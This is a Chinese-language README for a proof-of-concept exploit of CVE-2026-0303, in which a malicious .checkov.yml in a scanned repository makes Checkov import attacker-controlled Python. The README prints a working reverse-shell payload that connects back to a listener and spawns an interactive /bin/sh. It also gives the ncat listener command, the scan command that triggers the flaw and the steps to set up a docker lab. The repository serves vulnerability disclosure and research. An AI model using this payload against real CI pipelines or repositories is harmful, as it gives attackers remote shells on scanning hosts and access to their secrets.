CVE: CVE-2026-0303 | CVSS 基础分: 6.3 | 严重性: 低
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Checkov 中的任意代码执行漏洞。
由 Palo Alto Networks 于 2026 年 9 月 9 日发布。
受影响版本: Checkov 3.2.0 至 3.2.531
修复版本: Checkov 3.2.532
通过自动加载的 .checkov.yml 文件在 Checkov 中实现任意代码执行
-> 通过未签名的外部自定义检查执行攻击者控制的 Python 代码。
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov 支持外部 Python 检查。这些检查被有意作为 Python 模块加载, 这意味着顶层 Python 语句会在模块导入期间执行。
当 Checkov 扫描目录时,它会自动在该目录中搜索
.checkov.yml 或 .checkov.yaml 配置文件,攻击者控制的配置文件
可以将 external-checks-dir 设置为被扫描仓库内的某个目录。
这形成了以下执行链:
受害者扫描不受信任的仓库
->
Checkov 自动加载 .checkov.yml
->
配置设置了 external-checks-dir
->
Checkov 导入攻击者控制的 Python 模块
->
顶层 Python 代码以 Checkov 的权限执行
攻击者无需利用 Terraform 解析器或提供有效的 Checkov 策略。代码执行发生在 Checkov 导入该 Python 文件时。
这对于自动针对拉取请求或其他不受信任的仓库内容运行 Checkov 的 CI 流水线尤为相关。
实验载荷从 Checkov 容器连接到主机上的监听器:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
修改 exploit\external-checks\poc_check.py 中的载荷:
lhost = "127.0.0.1"
lport = 4444
在主机上启动监听器:
ncat -lvkp 4444
通过扫描攻击者控制的目录来触发漏洞行为:
checkov -d /workspace --framework terraform --skip-download
Checkov 会自动读取 /workspace/.checkov.yml,发现外部
检查目录,并导入 poc_check.py。当模块级 exploit() 调用执行时,
监听器应接收到 shell。
我提供了一个简单的 docker 实验环境,你可以通过以下命令设置
docker compose up -d
并通过以下命令连接到它的 shell
docker exec -it scan-server /bin/sh
本仓库包含针对 CVE-2026-0303 的独立概念验证。 该漏洞是在隔离的实验环境中重现并测试的。
本项目仅用于授权的安全研究、教育 以及在隔离环境中进行测试。未经所有者明确授权, 请勿将其用于系统、网络、仓库或数据。
作者按原样提供本项目,不提供任何形式的保证, 并且对损坏、数据丢失、服务中断、 未经授权的访问或对本软件或其衍生物的滥用不承担任何责任。